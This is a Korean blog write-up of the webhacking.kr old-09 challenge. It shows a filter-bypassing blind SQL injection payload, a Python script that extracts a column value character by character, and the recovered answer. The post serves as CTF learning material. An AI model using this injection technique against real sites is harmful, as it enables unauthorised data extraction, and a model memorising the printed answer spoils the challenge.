728x90

no=1이면 APPLE, 2는 BANANA, 3은 SECRET이 뜰 것이다. no=1의 id가 APPLE임을 의미한다.

이를 기반으로 Blind SQL Injection을 수행한다. no=3의 id가 password라고 나와있다.

no 인자에는 많은 값들이 필터링 된다. +, -, 공백, =, ord, ascii, hex, and, or 등등. 그런데 if, substr과 in이 사용 가능하다.

따라서 다음과 같이 쿼리를 입력할 수 있다.

?no=if(substr(id),1,1)in(0x41),3,0)

필터링에 걸릴 일은 없다. 0x41은 16진수로 'A' 를 의미한다. MySQL에서는 문자를 16진수와 동일하게 취급한다.

substr을 이용해 id에서 한 글자씩 추출해서 in 뒤의 16진수에 해당하면 3을 반환, 아니면 0을 반환하는 것이다.

여기서 3을 반환하는 부분이 중요하다. 왜 3을 반환해야하는가? no 인자의 값은 아마 쿼리의 where 절을 완성할 것이다.

where no=if(substr(id),1,1)in(0x41),3,0)처럼 말이다. db의 모든 id가 쿼리를 거칠텐데 in 연산자의 조건은 만족하여 3을 반환할지라도 no=3도 만족해야만 SECRET 페이지가 뜰 수 있다. 단순히 no에 1을 넣으면 APPLE, 2를 넣으면 BANANA, 3을 넣으면 SECRET가 아니라 where 절에 전달되는 것을 생각해야한다. 따라서 no=3인 행의 데이터만이 where 절을 만족하여 SECRET 페이지를 반환할 수 있다.

Blind SQL Injection 코드는 다음과 같다.

import requests

url="https://webhacking.kr/challenge/web-09/"
def find_id_len():
    id_len=1
    while True:
        r=requests.get(url+"?no=if(length(id)in({}),3,0)".format(id_len))
        if "Secret" in r.text:
            print(id_len)
            return id_len
        else:
            id_len+=1

def find_id():
    id_len=find_id_len()
    for i in range(1,id_len+1):
        for j in range(48,128):
            r=requests.get(url+"?no=if(substr(id,{},1)in({}),3,0)".format(i,hex(j)))
            if "Secret" in r.text:
                print(chr(j),end="")
                break
            
find_id()
11
ALSRKSWHAQL

11자리이고 값은ALSRKSWHAQL 이다. 하지만 이대로 password에 입력하면 풀리지 않는다.

소문자로 바꿔서 입력하면 풀린다.

alsrkswhaql

이렇게 되는 이유는 id 칼럼의 데이터 타입이 아마 char이나 varchar 타입이라서 그렇다. 둘 다 non binary에 해당한다. non binary의 특징 중 하나가 대 소문자를 구분하지 않는다는 것이다. 따라서 substr의 인자에 id 칼럼을 전달하면 'a'는 0x61임에도 0x41('A')에 매칭되는 것이다.

MySQL에서 varchar 타입의 id 칼럼에 admin이 저장되어있다고 가정해보자. select substr('admin',1,1)in(0x41);를 실행하면 0이 반환된다. 'admin' 대신 id 칼럼을 쓴다면 1이 반환된다. id 칼럼은 non binary이기 때문이다.

728x90

'webhacking.kr' 카테고리의 다른 글

old-11  (0) 2023.02.20
old-10  (0) 2023.02.20
old-08  (2) 2023.02.18
old-07  (0) 2023.02.18
old-06  (0) 2023.02.18

+ Recent posts